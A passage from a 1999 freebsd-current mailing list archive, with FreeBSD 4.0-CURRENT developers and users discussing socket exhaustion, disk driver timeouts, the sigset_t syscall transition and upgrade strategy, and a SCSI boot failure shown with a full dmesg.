Content-Type: text/plain; charset=ISO-8859-1
Content-Transfer-Encoding: 8bit
Sender: owner-freebsd-current@FreeBSD.ORG
Precedence: bulk
X-Loop: FreeBSD.ORG

Hi!

I´m running an FTP server on my FreeBSD 4.0-CURRENT
system using BeroFTPD. If I allow many users to connect
simultaneously, after some hours I get error messages
like "ping: socket buffer overflow" or "no sockets available".
Anything requiring sockets cannot be used then. Netscape
tells me there are not enough system resources. If I don´t
allow many people to connect, this does not occur though. I
experienced this for some time now. Is there anything
I can do about that?


Ciao,
Thomas Schürger.   http://www.menden.augustin.de



To Unsubscribe: send mail to majordomo@FreeBSD.org
with "unsubscribe freebsd-current" in the body of the message


From owner-freebsd-current  Fri Oct  1  6:45:28 1999
Delivered-To: freebsd-current@freebsd.org
Received: from ayukawa.aus.org (ayukawa.aus.org [199.166.246.1])
	by hub.freebsd.org (Postfix) with ESMTP id 5F8B61504F
	for <freebsd-current@FreeBSD.ORG>; Fri,  1 Oct 1999 06:45:14 -0700 (PDT)
	(envelope-from lh@aus.org)
Received: from PHOENIX.ZER0.NET (lh@ZER0.NET [199.166.246.189]) by ayukawa.aus.org (8.8.7/8.7.3) with ESMTP id JAA00826; Fri, 1 Oct 1999 09:45:04 -0400 (EDT)
Message-ID: <XFMail.991001094503.lh@aus.org>
X-Mailer: XFMail 1.3.1 [p0] on FreeBSD
X-Priority: 3 (Normal)
Content-Type: text/plain; charset=iso-8859-1
Content-Transfer-Encoding: 8bit
MIME-Version: 1.0
In-Reply-To: <199910010628.IAA62851@freebsd.dk>
Date: Fri, 01 Oct 1999 09:45:03 -0400 (EDT)
From: Luke <lh@aus.org>
To: Soren Schmidt <sos@freebsd.dk>
Subject: Re: ata driver (again)
Cc: freebsd-current@FreeBSD.ORG,
	(Kenneth Wayne Culver) <culverk@wam.umd.edu>
Sender: owner-freebsd-current@FreeBSD.ORG
Precedence: bulk
X-Loop: FreeBSD.ORG

> A dmesg to start with would be fine that way I may be able to reproduce
> it here pn semilar HW.
wdc0: unit 0 (wd0): <ST39140A>, LBA, DMA, 32-bit, multi-block-16,
      sleep-hack
wd0: 8693MB (17803440 sectors), 1108 cyls, 255 heads, 63 S/T, 512 B/S

(sleep-hack I turned on last night) 

>> > /kernel: wd0: wdtimeout() DMA status 4
> Thats not the ata driver thats the wd driver :)
> Looks like interrupt lossage to me...
> 
        yes it is, it happens to me with either driver. I keep suspecting it
is something other than the disk or OS , like the motherboard or something
but I have no idea how to find out.
Thanks

Luke
---------------------------------------------------
To be sure of hitting the target, shoot first and, whatever you hit,
call it the target.
XFMail 1.3 FreeBSD-current


To Unsubscribe: send mail to majordomo@FreeBSD.org
with "unsubscribe freebsd-current" in the body of the message


From owner-freebsd-current  Fri Oct  1  8: 6:58 1999
Delivered-To: freebsd-current@freebsd.org
Received: from ns.mt.sri.com (ns.mt.sri.com [206.127.79.91])
	by hub.freebsd.org (Postfix) with ESMTP id BA5D915B24
	for <current@FreeBSD.org>; Fri,  1 Oct 1999 08:06:43 -0700 (PDT)
	(envelope-from nate@mt.sri.com)
Received: from mt.sri.com (rocky.mt.sri.com [206.127.76.100])
	by ns.mt.sri.com (8.9.3/8.9.3) with SMTP id JAA17417;
	Fri, 1 Oct 1999 09:06:39 -0600 (MDT)
	(envelope-from nate@rocky.mt.sri.com)
Received: by mt.sri.com (SMI-8.6/SMI-SVR4)
	id JAA03438; Fri, 1 Oct 1999 09:06:35 -0600
Date: Fri, 1 Oct 1999 09:06:35 -0600
Message-Id: <199910011506.JAA03438@mt.sri.com>
From: Nate Williams <nate@mt.sri.com>
MIME-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
To: Marcel Moolenaar <marcel@scc.nl>
Cc: current@FreeBSD.org, Bruce Evans <bde@zeta.org.au>,
	John Polstra <jdp@polstra.com>, Nate Williams <nate@mt.sri.com>,
	Alan Cox <alc@cs.rice.edu>, Peter Wemm <peter@netplex.com.au>
Subject: Re: sigset_t: a summary
In-Reply-To: <37F47CD8.9F676F08@scc.nl>
References: <37F47CD8.9F676F08@scc.nl>
X-Mailer: VM 6.34 under 19.16 "Lille" XEmacs Lucid
Reply-To: nate@mt.sri.com (Nate Williams)
Sender: owner-freebsd-current@FreeBSD.ORG
Precedence: bulk
X-Loop: FreeBSD.ORG

> 1. Should the ucontext_t changes be backed out, or is this the
>    way we would like to go? (but only it better :-)

We need something.  Rather than say 'something better', I'd need to see
what that better things is.  However, given Bruce's comments earlier, it
seems like we need to have ucontext_t to stay compatible.



Nate


To Unsubscribe: send mail to majordomo@FreeBSD.org
with "unsubscribe freebsd-current" in the body of the message


From owner-freebsd-current  Fri Oct  1  9:12:18 1999
Delivered-To: freebsd-current@freebsd.org
Received: from fleming.cs.strath.ac.uk (fleming.cs.strath.ac.uk [130.159.196.126])
	by hub.freebsd.org (Postfix) with ESMTP id 6C6F515A9B
	for <current@freebsd.org>; Fri,  1 Oct 1999 09:12:12 -0700 (PDT)
	(envelope-from roger@cs.strath.ac.uk)
Received: from muir-10 (roger@muir-10.cs.strath.ac.uk [130.159.148.10])
	by fleming.cs.strath.ac.uk (8.8.8/8.8.8) with SMTP id RAA04893
	Fri, 1 Oct 1999 17:12:10 +0100 (BST)
Message-ID: <37F4DD5A.2781@cs.strath.ac.uk>
Date: Fri, 01 Oct 1999 17:12:10 +0100
From: Roger Hardiman <roger@cs.strath.ac.uk>
Organization: University of Strathclyde
X-Mailer: Mozilla 3.04Gold (X11; I; OSF1 V4.0 alpha)
MIME-Version: 1.0
To: current@freebsd.org
Subject: Re: current and mouse breakage
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Sender: owner-freebsd-current@FreeBSD.ORG
Precedence: bulk
X-Loop: FreeBSD.ORG

Hi,

I found the cause of my mouse failing to work after my
recent make world.

I forgot I had just installed mgetty before my make world
and set mgett to listen to the same COM port as my mouse.

Oops.

Sorry for the noise to -current.


Roger
-- 
Roger Hardiman        | Telepresence Research Group
roger@cs.strath.ac.uk | DMEM, University of Strathclyde
tel: 0141 548 2897    | Glasgow, Scotland, G1 1XJ, UK
fax: 0141 552 0557    | http://telepresence.dmem.strath.ac.uk


To Unsubscribe: send mail to majordomo@FreeBSD.org
with "unsubscribe freebsd-current" in the body of the message


From owner-freebsd-current  Fri Oct  1  9:39:11 1999
Delivered-To: freebsd-current@freebsd.org
Received: from smtp3.ihug.com.au (203-109-250-76.ihug.net [203.109.250.76])
	by hub.freebsd.org (Postfix) with ESMTP id 951EB156F3
	for <current@FreeBSD.ORG>; Fri,  1 Oct 1999 09:38:57 -0700 (PDT)
	(envelope-from alanr@tig.com.au)
Received: from tig.com.au (p4-max36.syd.ihug.com.au [206.18.106.4])
	by smtp3.ihug.com.au (8.9.3/8.9.3) with ESMTP id CAA18300
	for <current@FreeBSD.ORG>; Sat, 2 Oct 1999 02:38:55 +1000
Message-ID: <37F4E396.7E612011@tig.com.au>
Date: Sat, 02 Oct 1999 02:38:46 +1000
From: alanr <alanr@tig.com.au>
X-Mailer: Mozilla 4.61 [en] (Win98; I)
X-Accept-Language: en
MIME-Version: 1.0
To: current@FreeBSD.ORG
References: <Pine.BSF.4.10.9909291153030.31379-100000@dt014n8c.san.rr.com> <37F26505.5579E11@scc.nl>
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Sender: owner-freebsd-current@FreeBSD.ORG
Precedence: bulk
X-Loop: FreeBSD.ORG

unsubscribe freebsd-current


To Unsubscribe: send mail to majordomo@FreeBSD.org
with "unsubscribe freebsd-current" in the body of the message


From owner-freebsd-current  Fri Oct  1 11:45:16 1999
Delivered-To: freebsd-current@freebsd.org
Received: from post.mail.nl.demon.net (post-10.mail.nl.demon.net [194.159.73.20])
	by hub.freebsd.org (Postfix) with ESMTP id 0D9BE15BA6
	for <current@freebsd.org>; Fri,  1 Oct 1999 11:43:47 -0700 (PDT)
	(envelope-from marcel@scc.nl)
Received: from [212.238.132.94] (helo=scones.sup.scc.nl)
	by post.mail.nl.demon.net with esmtp (Exim 2.02 #1)
	id 11X7ej-0007QL-00; Fri, 1 Oct 1999 18:43:45 +0000
Received: from scc.nl (scones.sup.scc.nl [192.168.2.4])
	by scones.sup.scc.nl (8.9.3/8.9.3) with ESMTP id UAA52645;
	Fri, 1 Oct 1999 20:43:39 +0200 (CEST)
	(envelope-from marcel@scc.nl)
Message-ID: <37F500DB.C33AC10@scc.nl>
Date: Fri, 01 Oct 1999 20:43:39 +0200
From: Marcel Moolenaar <marcel@scc.nl>
Organization: SCC vof
X-Mailer: Mozilla 4.61 [en] (X11; I; Linux 2.2.5 i386)
X-Accept-Language: en
MIME-Version: 1.0
To: Dag-Erling Smorgrav <des@flood.ping.uio.no>
Cc: current@FreeBSD.ORG
Subject: Re: new sigset_t and upgrading: a proposal
References: <37F337CC.5E06911B@scc.nl> <xzp7ll7cmsh.fsf@flood.ping.uio.no>
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Sender: owner-freebsd-current@FreeBSD.ORG
Precedence: bulk
X-Loop: FreeBSD.ORG

Dag-Erling Smorgrav wrote:
> 
> How about this: early in make world, we check whether or not the
> current kernel supports the new syscalls. If it does, good. If it
> doesn't, we build and load a small module which installs syscalls
> which translate the sigset_t stuff into something the old syscalls can
> grok. Does that make sense to any of you guys?

That has been proposed by someone (sorry, I can't remember who exactly).
We still need a consensus as to what we should do. Personally, I now
like to fix this at the core of the problem: truly support
cross-compilations. This implies (IMO) that the source tree is never
used to build the tools with which a world is built (ideally). Such a
solution may take too long to be implemented to be used as a solution
now, though.

-- 
Marcel Moolenaar                        mailto:marcel@scc.nl
SCC Internetworking & Databases           http://www.scc.nl/
The FreeBSD project                mailto:marcel@FreeBSD.org


To Unsubscribe: send mail to majordomo@FreeBSD.org
with "unsubscribe freebsd-current" in the body of the message


From owner-freebsd-current  Fri Oct  1 11:54:59 1999
Delivered-To: freebsd-current@freebsd.org
Received: from indyio.rz.uni-sb.de (indyio.rz.uni-sb.de [134.96.7.3])
	by hub.freebsd.org (Postfix) with ESMTP id BAD7415190
	for <current@freebsd.org>; Fri,  1 Oct 1999 11:54:32 -0700 (PDT)
	(envelope-from netchild@Vodix.CS.Uni-SB.de)
Received: from mars.rz.uni-sb.de (ns0.rz.uni-sb.de [134.96.7.5])
	by indyio.rz.uni-sb.de (8.9.3/8.9.3) with ESMTP id UAA5017951
	for <current@freebsd.org>; Fri, 1 Oct 1999 20:54:30 +0200 (CST)
Received: from work.net.local (maxtnt-146.telip.uni-sb.de [134.96.71.17])
	by mars.rz.uni-sb.de (8.8.8/8.8.4/8.8.2) with ESMTP id UAA11566
	for <current@freebsd.org>; Fri, 1 Oct 1999 20:54:29 +0200 (CST)
Received: from Vodix.CS.Uni-SB.de (netchild@localhost.net.local [127.0.0.1])
	by work.net.local (8.9.3/8.9.3) with ESMTP id UAA00516
	for <current@freebsd.org>; Fri, 1 Oct 1999 20:54:14 +0200 (CEST)
	(envelope-from netchild@Vodix.CS.Uni-SB.de)
Message-Id: <199910011854.UAA00516@work.net.local>
Date: Fri, 1 Oct 1999 20:54:13 +0200 (CEST)
From: A.Leidinger@WJPServer.CS.Uni-SB.de
Subject: ahc failure while updating from pre-signal-change
To: current@freebsd.org
MIME-Version: 1.0
Content-Type: TEXT/plain; CHARSET=US-ASCII
Sender: owner-freebsd-current@FreeBSD.ORG
Precedence: bulk
X-Loop: FreeBSD.ORG

Hi,

last cvsup: 1 Okt 18:19 GMT

I've build a new kernel and rebooted to be able to make a new world
(aktual system: pre-signal-change, around Sep 29). Right after
"Automatic reboot in progress..." I get:
---snip---
(da0:ahc0:0:0:0): have seen Data Phase. Length = 0. NumSGs = 1.
(da0:ahc0:0:0:0): data overrun detected in Data-In phase. Tag == 0xe.
/dev/rda0s1a: CANNOT READ: BLK 16
---snip---

and fsck aborts.
The "(da0:..." parts are repeated multiple times.

Booting the old kernel works and fsck says "FILESYSTEM CLEAN" (and I'm
not able to upgrade to post-signal-change).

This happens with sources cvsupped at 15:xx GMT (german mirror) to 18:19
GMT (directly from cvsup.freebsd.org).

dmesg from the working kernel:
---snip---
FreeBSD 4.0-CURRENT #6: Wed Sep 29 16:57:27 CEST 1999
    root@work.net.local:/usr/src/sys/compile/WORK
Timecounter "i8254"  frequency 1193182 Hz
CPU: Celeron (400.94-MHz 686-class CPU)
  Origin = "GenuineIntel"  Id = 0x665  Stepping = 5
  Features=0x183f9ff<FPU,VME,DE,PSE,TSC,MSR,PAE,MCE,CX8,SEP,MTRR,PGE,MCA,CMOV,PA
T,PSE36,MMX,FXSR>
real memory  = 134205440 (131060K bytes)
avail memory = 126263296 (123304K bytes)
Preloaded elf kernel "kernel.WORK" at 0xc039d000.
VESA: v2.0, 4096k memory, flags:0x1, mode table:0xc0338f22 (1000022)
VESA: Matrox Graphics Inc.
Pentium Pro MTRR support enabled
npx0: <math processor> on motherboard
npx0: INT 16 interface
apm0: <APM BIOS> on motherboard
apm: found APM BIOS v1.2, connected at v1.2
pcib0: <Intel 82443LX (440 LX) host to PCI bridge> on motherboard
pci0: <PCI bus> on pcib0
pcib1: <Intel 82443LX (440 LX) PCI-PCI (AGP) bridge> at device 1.0 on pci0
pci1: <PCI bus> on pcib1
isab0: <Intel 82371AB PCI to ISA bridge> at device 4.0 on pci0
isa0: <ISA bus> on isab0
ide_pci0: <Intel PIIX4 Bus-master IDE controller> at device 4.1 on pci0
uhci0: <Intel 82371AB/EB (PIIX4) USB controller> irq 9 at device 4.2 on pci0
usb0: <Intel 82371AB/EB (PIIX4) USB controller> on uhci0
uhub0: Intel UHCI root hub, class 9/0, rev 1.00/1.00, addr 1
uhub0: 2 ports with 2 removable, self powered
intpm0: <Intel 82371AB Power management controller> at device 4.3 on pci0
intpm0: I/O mapped e800
intpm0: intr IRQ 9 enabled revision 0
smbus0: <System Management Bus> on intsmb0
smb0: <SMBus general purpose I/O> on smbus0
intpm0: PM I/O mapped e400 
ahc0: <Adaptec aic7880 Ultra SCSI adapter> irq 9 at device 6.0 on pci0
ahc0: aic7880 Wide Channel A, SCSI Id=7, 16/255 SCBs
ed0: <NE2000 PCI Ethernet (RealTek 8029)> irq 15 at device 10.0 on pci0
ed0: address 00:80:ad:40:bd:e7, type NE2000 (16 bit) 
pci0: unknown card DPZ0001 (vendor=0x121a, dev=0x0001) at 11.0
vga-pci0: <Matrox MGA 1024SG/1064SG/1164SG graphics accelerator> irq 11 at device 12.0 on pci0
atkbdc0: <keyboard controller (i8042)> at port 0x60-0x6f on isa0
atkbd0: <AT Keyboard> irq 1 on atkbdc0
kbd0 at atkbd0
psm0: <PS/2 Mouse> irq 12 on atkbdc0
psm0: model Generic PS/2 mouse, device ID 0
vga0: <Generic ISA VGA> at port 0x3c0-0x3df iomem 0xa0000-0xbffff on isa0
sc0: <System console> at flags 0x6 on isa0
sc0: VGA <16 virtual consoles, flags=0x206>
wdc0 at port 0x1f0-0x1f7 irq 14 on isa0
wdc0: unit 0 (wd0): <Conner Peripherals 420MB - CFS420A>
wd0: 406MB (832608 sectors), 826 cyls, 16 heads, 63 S/T, 512 B/S
wdc0: unit 1 (atapi): <IOMEGA  ZIP 100       ATAPI/23.D>, removable, intr, iordis
wfd0: medium type unknown (no disk)
wfd0: buggy Zip drive, 64-block transfer limit set
fdc0: <NEC 72065B or clone> at port 0x3f0-0x3f7 irq 6 drq 2 on isa0
fdc0: FIFO enabled, 8 bytes threshold
fd0: <1440-KB 3.5" drive> on fdc0 drive 0
sio0 at port 0x3f8-0x3ff irq 4 flags 0x20010 on isa0
sio0: type ST16650A
sio1 at port 0x2e8-0x2ef irq 10 flags 0x20000 on isa0
sio1: type ST16650A
joy0 at port 0x201 on isa0
joy0: joystick
pca0 at port 0x40 on isa0
pca0: PC speaker audio driver
isic0 at port 0x300 irq 3 flags 0x4 on isa0
isic0: AVM A1 or AVM Fritz!Card
isic0: ISAC 2085 Version A1/A2 or 2086/2186 Version 1.1 (IOM-2) (Addr=0x16e0)
isic0: HSCX 82525 or 21525 Version 2.1 (AddrA=0x6e0, AddrB=0xee0)
ppc0 at port 0x378-0x37f irq 7 on isa0
ppc0: SMC-like chipset (ECP/EPP/PS2/NIBBLE) in COMPATIBLE mode
ppc0: FIFO with 16/16/9 bytes threshold
lpt0: <generic printer> on ppbus 0
lpt0: Interrupt-driven port
ppi0: <generic parallel i/o> on ppbus 0
pcm0: <Vibra16X> at port 0x220-0x22f,0x330-0x331,0x388-0x38b irq 5 drq 1,5 on isa0
IP packet filtering initialized, divert enabled, rule-based forwarding enabled, 
logging limited to 100 packets/entry by default
i4b: ISDN call control device attached
i4bisppp: 2 ISDN SyncPPP device(s) attached
i4bctl: ISDN system control port attached
i4bipr: 2 IP over raw HDLC ISDN device(s) attached (VJ header compression)
i4btel: 1 ISDN telephony interface device(s) attached
i4brbch: 2 raw B channel access device(s) attached
i4btrc: 2 ISDN trace device(s) attached
ds0 XXX: driver didn't set ifq_maxlen
IP Filter: initialized.  Default = pass all, Logging = enabled
Waiting 5 seconds for SCSI devices to settle
changing root device to da0s1a
da0 at ahc0 bus 0 target 0 lun 0
da0: <MICROP 4743NS S168> Fixed Direct Access SCSI-2 device 
da0: 20.000MB/s transfers (20.000MHz, offset 15), Tagged Queueing Enabled
da0: 4100MB (8398656 512 byte sectors: 255H 63S/T 522C)
cd0 at ahc0 bus 0 target 1 lun 0
cd0: <TEAC CD-R55S 1.0Q> Removable CD-ROM SCSI-2 device 
cd0: 10.000MB/s transfers (10.000MHz, offset 15)
cd0: Attempt to query device size failed: NOT READY, Medium not present
cd1 at ahc0 bus 0 target 2 lun 0
cd1: <PIONEER CD-ROM DR-U16S 1.01> Removable CD-ROM SCSI-2 device 
cd1: 20.000MB/s transfers (20.000MHz, offset 15)
cd1: Attempt to query device size failed: NOT READY, Medium not present
---snip---

If you need more information (boot -v, MYKERNEL, ...) ...

Bye,
Alexander.

-- 
Practice random acts of intelligence and senseless acts of self-control.

http://netchild.home.pages.de   A.Leidinger+Home @ WJPServer.CS.Uni-SB.de



To Unsubscribe: send mail to majordomo@FreeBSD.org
with "unsubscribe freebsd-current" in the body of the message


From owner-freebsd-current  Fri Oct  1 12:36:14 1999
Delivered-To: freebsd-current@freebsd.org
Received: from critter.freebsd.dk (critter.freebsd.dk [212.242.40.131])
	by hub.freebsd.org (Postfix) with ESMTP id 328EE151B1
	for <current@FreeBSD.ORG>; Fri,  1 Oct 1999 12:36:02 -0700 (PDT)
	(envelope-from phk@critter.freebsd.dk)
Received: from critter.freebsd.dk (localhost [127.0.0.1])
	by critter.freebsd.dk (8.9.3/8.9.2) with ESMTP id VAA12275;
	Fri, 1 Oct 1999 21:35:51 +0200 (CEST)
	(envelope-from phk@critter.freebsd.dk)
To: A.Leidinger@WJPServer.CS.Uni-SB.de
Cc: current@FreeBSD.ORG
Subject: Re: ahc failure while updating from pre-signal-change 
In-reply-to: Your message of "Fri, 01 Oct 1999 20:54:13 +0200."
             <199910011854.UAA00516@work.net.local> 
Date: Fri, 01 Oct 1999 21:35:51 +0200
Message-ID: <12273.938806551@critter.freebsd.dk>
From: Poul-Henning Kamp <phk@critter.freebsd.dk>
Sender: owner-freebsd-current@FreeBSD.ORG
Precedence: bulk
X-Loop: FreeBSD.ORG


Please boot your old system and email the output from
	fdisk da0
	disklabel da0

Poul-Henning

In message <199910011854.UAA00516@work.net.local>, A.Leidinger@WJPServer.CS.Uni
-SB.de writes:
>Hi,
>
>last cvsup: 1 Okt 18:19 GMT
>
>I've build a new kernel and rebooted to be able to make a new world
>(aktual system: pre-signal-change, around Sep 29). Right after
>"Automatic reboot in progress..." I get:
>---snip---
>(da0:ahc0:0:0:0): have seen Data Phase. Length = 0. NumSGs = 1.
>(da0:ahc0:0:0:0): data overrun detected in Data-In phase. Tag == 0xe.
>/dev/rda0s1a: CANNOT READ: BLK 16
>---snip---
>
>and fsck aborts.
>The "(da0:..." parts are repeated multiple times.
>
>Booting the old kernel works and fsck says "FILESYSTEM CLEAN" (and I'm
>not able to upgrade to post-signal-change).
>
>This happens with sources cvsupped at 15:xx GMT (german mirror) to 18:19
>GMT (directly from cvsup.freebsd.org).
>
>dmesg from the working kernel:
>---snip---
>FreeBSD 4.0-CURRENT #6: Wed Sep 29 16:57:27 CEST 1999
>    root@work.net.local:/usr/src/sys/compile/WORK
>Timecounter "i8254"  frequency 1193182 Hz
>CPU: Celeron (400.94-MHz 686-class CPU)
>  Origin = "GenuineIntel"  Id = 0x665  Stepping = 5
>  Features=0x183f9ff<FPU,VME,DE,PSE,TSC,MSR,PAE,MCE,CX8,SEP,MTRR,PGE,MCA,CMOV,PA
>T,PSE36,MMX,FXSR>
>real memory  = 134205440 (131060K bytes)
>avail memory = 126263296 (123304K bytes)
>Preloaded elf kernel "kernel.WORK" at 0xc039d000.
>VESA: v2.0, 4096k memory, flags:0x1, mode table:0xc0338f22 (1000022)
>VESA: Matrox Graphics Inc.
>Pentium Pro MTRR support enabled
>npx0: <math processor> on motherboard
>npx0: INT 16 interface
>apm0: <APM BIOS> on motherboard
>apm: found APM BIOS v1.2, connected at v1.2
>pcib0: <Intel 82443LX (440 LX) host to PCI bridge> on motherboard
>pci0: <PCI bus> on pcib0
>pcib1: <Intel 82443LX (440 LX) PCI-PCI (AGP) bridge> at device 1.0 on pci0
>pci1: <PCI bus> on pcib1
>isab0: <Intel 82371AB PCI to ISA bridge> at device 4.0 on pci0
>isa0: <ISA bus> on isab0
>ide_pci0: <Intel PIIX4 Bus-master IDE controller> at device 4.1 on pci0
>uhci0: <Intel 82371AB/EB (PIIX4) USB controller> irq 9 at device 4.2 on pci0
>usb0: <Intel 82371AB/EB (PIIX4) USB controller> on uhci0
>uhub0: Intel UHCI root hub, class 9/0, rev 1.00/1.00, addr 1
>uhub0: 2 ports with 2 removable, self powered
>intpm0: <Intel 82371AB Power management controller> at device 4.3 on pci0
>intpm0: I/O mapped e800
>intpm0: intr IRQ 9 enabled revision 0
>smbus0: <System Management Bus> on intsmb0
>smb0: <SMBus general purpose I/O> on smbus0
>intpm0: PM I/O mapped e400 
>ahc0: <Adaptec aic7880 Ultra SCSI adapter> irq 9 at device 6.0 on pci0
>ahc0: aic7880 Wide Channel A, SCSI Id=7, 16/255 SCBs
>ed0: <NE2000 PCI Ethernet (RealTek 8029)> irq 15 at device 10.0 on pci0
>ed0: address 00:80:ad:40:bd:e7, type NE2000 (16 bit) 
>pci0: unknown card DPZ0001 (vendor=0x121a, dev=0x0001) at 11.0
>vga-pci0: <Matrox MGA 1024SG/1064SG/1164SG graphics accelerator> irq 11 at device 12.0 on pci0
>atkbdc0: <keyboard controller (i8042)> at port 0x60-0x6f on isa0
>atkbd0: <AT Keyboard> irq 1 on atkbdc0
>kbd0 at atkbd0
>psm0: <PS/2 Mouse> irq 12 on atkbdc0
>psm0: model Generic PS/2 mouse, device ID 0
>vga0: <Generic ISA VGA> at port 0x3c0-0x3df iomem 0xa0000-0xbffff on isa0
>sc0: <System console> at flags 0x6 on isa0
>sc0: VGA <16 virtual consoles, flags=0x206>
>wdc0 at port 0x1f0-0x1f7 irq 14 on isa0
>wdc0: unit 0 (wd0): <Conner Peripherals 420MB - CFS420A>
>wd0: 406MB (832608 sectors), 826 cyls, 16 heads, 63 S/T, 512 B/S
>wdc0: unit 1 (atapi): <IOMEGA  ZIP 100       ATAPI/23.D>, removable, intr, iordis
>wfd0: medium type unknown (no disk)
>wfd0: buggy Zip drive, 64-block transfer limit set
>fdc0: <NEC 72065B or clone> at port 0x3f0-0x3f7 irq 6 drq 2 on isa0
>fdc0: FIFO enabled, 8 bytes threshold
>fd0: <1440-KB 3.5" drive> on fdc0 drive 0
>sio0 at port 0x3f8-0x3ff irq 4 flags 0x20010 on isa0
>sio0: type ST16650A
>sio1 at port 0x2e8-0x2ef irq 10 flags 0x20000 on isa0
>sio1: type ST16650A
>joy0 at port 0x201 on isa0
>joy0: joystick
>pca0 at port 0x40 on isa0
>pca0: PC speaker audio driver
>isic0 at port 0x300 irq 3 flags 0x4 on isa0
>isic0: AVM A1 or AVM Fritz!Card
>isic0: ISAC 2085 Version A1/A2 or 2086/2186 Version 1.1 (IOM-2) (Addr=0x16e0)
>isic0: HSCX 82525 or 21525 Version 2.1 (AddrA=0x6e0, AddrB=0xee0)
>ppc0 at port 0x378-0x37f irq 7 on isa0
>ppc0: SMC-like chipset (ECP/EPP/PS2/NIBBLE) in COMPATIBLE mode
>ppc0: FIFO with 16/16/9 bytes threshold
>lpt0: <generic printer> on ppbus 0
>lpt0: Interrupt-driven port
>ppi0: <generic parallel i/o> on ppbus 0
>pcm0: <Vibra16X> at port 0x220-0x22f,0x330-0x331,0x388-0x38b irq 5 drq 1,5 on isa0
>IP packet filtering initialized, divert enabled, rule-based forwarding enabled, 
>logging limited to 100 packets/entry by default
>i4b: ISDN call control device attached
>i4bisppp: 2 ISDN SyncPPP device(s) attached
>i4bctl: ISDN system control port attached
>i4bipr: 2 IP over raw HDLC ISDN device(s) attached (VJ header compression)
>i4btel: 1 ISDN telephony interface device(s) attached
>i4brbch: 2 raw B channel access device(s) attached
>i4btrc: 2 ISDN trace device(s) attached
>ds0 XXX: driver didn't set ifq_maxlen
>IP Filter: initialized.  Default = pass all, Logging = enabled
>Waiting 5 seconds for SCSI devices to settle
>changing root device to da0s1a
>da0 at ahc0 bus 0 target 0 lun 0
>da0: <MICROP 4743NS S168> Fixed Direct Access SCSI-2 device 
>da0: 20.000MB/s transfers (20.000MHz, offset 15), Tagged Queueing Enabled
>da0: 4100MB (8398656 512 byte sectors: 255H 63S/T 522C)
>cd0 at ahc0 bus 0 target 1 lun 0
>cd0: <TEAC CD-R55S 1.0Q> Removable CD-ROM SCSI-2 device 
>cd0: 10.000MB/s transfers (10.000MHz, offset 15)
>cd0: Attempt to query device size failed: NOT READY, Medium not present
>cd1 at ahc0 bus 0 target 2 lun 0
>cd1: <PIONEER CD-ROM DR-U16S 1.01> Removable CD-ROM SCSI-2 device 
>cd1: 20.000MB/s transfers (20.000MHz, offset 15)
>cd1: Attempt to query device size failed: NOT READY, Medium not present
>---snip---
>
>If you need more information (boot -v, MYKERNEL, ...) ...
>
>Bye,
>Alexander.
>
>-- 
>Practice random acts of intelligence and senseless acts of self-control.
>
>http://netchild.home.pages.de   A.Leidinger+Home @ WJPServer.CS.Uni-SB.de
>
>
>
>To Unsubscribe: send mail to majordomo@FreeBSD.org
>with "unsubscribe freebsd-current" in the body of the message
>

--
Poul-Henning Kamp             FreeBSD coreteam member
phk@FreeBSD.ORG               "Real hackers run -current on their laptop."
FreeBSD -- It will take a long time before progress goes too far!


To Unsubscribe: send mail to majordomo@FreeBSD.org
with "unsubscribe freebsd-current" in the body of the message


From owner-freebsd-current  Fri Oct  1 12:37:24 1999
Delivered-To: freebsd-current@freebsd.org
Received: from pcnet1.pcnet.com (pcnet1.pcnet.com [204.213.232.3])
	by hub.freebsd.org (Postfix) with ESMTP id 6FFDA14EA4
	for <current@FreeBSD.ORG>; Fri,  1 Oct 1999 12:37:20 -0700 (PDT)
	(envelope-from eischen@vigrid.com)
Received: (from eischen@localhost)
	by pcnet1.pcnet.com (8.8.7/PCNet) id PAA11014;
	Fri, 1 Oct 1999 15:36:11 -0400 (EDT)
Date: Fri, 1 Oct 1999 15:36:11 -0400 (EDT)
From: Daniel Eischen <eischen@vigrid.com>
Message-Id: <199910011936.PAA11014@pcnet1.pcnet.com>
To: des@flood.ping.uio.no, marcel@scc.nl
Subject: Re: new sigset_t and upgrading: a proposal
Cc: current@FreeBSD.ORG
Sender: owner-freebsd-current@FreeBSD.ORG
Precedence: bulk
X-Loop: FreeBSD.ORG

Marcel Moolenaar wrote:
> Dag-Erling Smorgrav wrote:
> > 
> > How about this: early in make world, we check whether or not the
> > current kernel supports the new syscalls. If it does, good. If it
> > doesn't, we build and load a small module which installs syscalls
> > which translate the sigset_t stuff into something the old syscalls can
> > grok. Does that make sense to any of you guys?
> 
> That has been proposed by someone (sorry, I can't remember who exactly).
> We still need a consensus as to what we should do. Personally, I now
> like to fix this at the core of the problem: truly support
> cross-compilations. This implies (IMO) that the source tree is never
> used to build the tools with which a world is built (ideally). Such a
> solution may take too long to be implemented to be used as a solution
> now, though.

But this still doesn't entirely solve the problem.  You still have
to build and install a new kernel before installing the world.
While this is typically what most -current folks do anyways, it
still prevents backing up to a previous kernel after the install
world.

It seems like libc should be built to be compatible with the kernel
that is currently running.  After installing world and testing the
new kernel, a subsequent make world (or some other target to get
just the libs) can be done to make the libs use the new syscalls.
I like to keep old known working kernels around just in case there
are some serious bugs with the current one.  Once a kernel has
proven itself somewhat stable, you can then upgrade the libs.

This is why I kind of like (was it?) Peter Wemms libc hack.

Dan Eischen
eischen@vigrid.com


To Unsubscribe: send mail to majordomo@FreeBSD.org
with "unsubscribe freebsd-current" in the body of the message


From owner-freebsd-current  Fri Oct  1 14: 2:54 1999
Delivered-To: freebsd-current@freebsd.org
Received: from post.mail.nl.demon.net (post-10.mail.nl.demon.net [194.159.73.20])
	by hub.freebsd.org (Postfix) with ESMTP id 8407A14D26
	for <current@freebsd.org>; Fri,  1 Oct 1999 14:02:50 -0700 (PDT)
	(envelope-from marcel@scc.nl)
Received: from [212.238.132.94] (helo=scones.sup.scc.nl)
	by post.mail.nl.demon.net with esmtp (Exim 2.02 #1)
	id 11X9pJ-0002WB-00; Fri, 1 Oct 1999 21:02:49 +0000
Received: from scc.nl (scones.sup.scc.nl [192.168.2.4])
	by scones.sup.scc.nl (8.9.3/8.9.3) with ESMTP id XAA59781;
	Fri, 1 Oct 1999 23:02:43 +0200 (CEST)
	(envelope-from marcel@scc.nl)
